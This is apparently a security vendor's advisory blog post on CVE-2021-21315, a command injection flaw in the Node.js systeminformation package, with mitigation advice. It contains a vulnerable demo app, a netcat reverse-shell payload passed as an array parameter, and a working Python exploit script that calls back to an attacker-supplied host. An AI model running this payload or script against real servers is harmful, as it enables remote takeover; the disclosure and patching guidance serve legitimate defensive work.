In 2021, a remote code execution vulnerability was discovered in the System Information Library for Node.JS, an open-source collection of functions that aid in retrieving detailed information about CPU, hardware, battery, network, services, and system processes.

 

More than 56,000 open instances of NodeJs packages are exposed to the remote code injection bug, with 38% of them in the United States and 9% in China. Further, cyber research intelligence reports that this CVE 2021-21315 is hotly discussed on dark forums among hackers, posing a high threat to numerous organizations.

 

This vulnerability is tracked as CVE 2021-21315 and earned a CVSS v3 score of 7.8 (high). In this case, the RCE bug falls under a vulnerability category described as CWE-78 that leads to Improper Neutralization of Special Elements used in an OS Command, ranking fifth in the Top 25 Software Weaknesses.

 

Interestingly enough, over a year of CVE disclosure, CISA added this CVE to its catalog of Known Exploited Vulnerabilities (KEV), urging organizations to patch it immediately.

 

A researcher from Cyber Security Works (CSW) took a deep dive into this NodeJs CVE 2021-21315 vulnerability and developed a Proof-of-Concept exploit code.

Vulnerability Analysis

The following *index.js* script creates an application with two endpoints – */api/getServices* and */api/checkSite* displayed, which each use the libraries function to check if a background service is running and if a URL is accessible, respectively.

 

const http = require(‘http’);

const si = require(‘systeminformation’);

var express = require(‘express’);

var app = express();

const port = 7000;

app.get(‘/api/getServices’, (req, res) => {

  const queryData = req.query.name

  si.services(queryData).then((data) => {

  res.json(data);

  });

});

app.get(‘/api/checkSite’, (req, res) => {

  const queryData = req.query.url

  si.inetChecksite(queryData).then((data) => {

  res.json(data);

  });

});

app.listen(port, () => console.log(‘Hello world’))

 

In the next step, the user input is sent to the *s1.inetChecksite* function. This function then passes the input to *internet.js* to check if that particular URL is accessible. Subsequently, the query or user input is passed to the `inetChecksite` function.

 

Figure 01: `inetChecksite` function in `internet.js`

 

Once the data is passed to the `inetChecksite`, the `sanitizeShellString` will remove any meta character from the input.

 

As secure as it may seem, the function only works well on a string; the vulnerability is present in how it handles the input. If an array is added to the function, it will be unable to check for meta characters because of the array/string comparison, which can be seen below:

 

Figure 02: Vulnerable sanatizeShellString function

 

The first input was a string where the `;` character was filtered out; however when the input was an array, the `;` character was not filtered out. Because of this, if we make the `input` parameter an array and pass a shell command to it, it will be executed. This allows us to perform an RCE on the target server.

How to Identify CVE 2021-21315

 

Identifying this specific vulnerability depends on the functionality of the web application, as it has to be a Node application and use the “systeminformation” package. A much better way to identify this vulnerability is to map out the application structure and make educated guesses about specific endpoints.

Proof of Concept: (Reproducing Steps)

 

The application provides an API interface from which a user can check the availability of the website, and it accepts the “URL” parameter.

 

  1. Identify the endpoint and parameter

 

Figure 03: Adding a Payload To The Input Parameter By Making It Asn Array: `input[]=$(nc -e /bin/bash localhost 4444)`

 

Figure 04: Provided Payload Being Executed In The System As A Result Of Command Injection

 

  1. Start a Netcat Listener and execute the payload `$(nc -e /bin/bash localhost 4444)`

 

Figure 05: Reverse Shell Payload Injected into URL Parameter With a Connection To The Listener

Exploit Script

 

Note: The exploit script varies for most of the applications, as it entirely depends on where the application uses it.

 

import requests

import sys

if len(sys.argv) < 4:

    print(“[!] python3 xploit.py [url] [parameter] [lhost] [lport]”)

target_url = sys.argv[1]

parameter = sys.argv[2]

lhost = sys.argv[3]

lport = sys.argv[4]

url = target_url + “?” + parameter + “[]=” + f”$(nc -e /bin/bash {lhost} {lport})”

r = requests.get(url)

print(“[!] Done”)

 

Figure 06: Exploit Script Executed And Reverse Shell Is Received.

 

What Should You Do If You Are Vulnerable?

 

This code injection vulnerability was fixed in the systeminformation 5.3.1 version of the package. Additionally, this issue can also be fixed by modifying the *sanitizeShellString* function in the *util.js* file to perform checks for the arrays.

 

As a workaround instead of upgrading, verify or sanitize service arguments supplied to si.inetLatency(), si.inetChecksite(), si.services(), and si.processLoad() to ensure that only strings are allowed and arrays are rejected. The string sanitation system will then perform as expected.

 

While the patch for this code injection bug was released on February 14, 2021, today, more than 56,000 systems are still at risk. In light of its wide exposure, we recommend addressing and mitigating this bug as soon as possible.

 

CSW’s Vulnerability Management as a Service (VMaaS) detects and prioritizes vulnerabilities in your organization. 

To know more about CSW’s VMaaS, please click here.

Share This Post On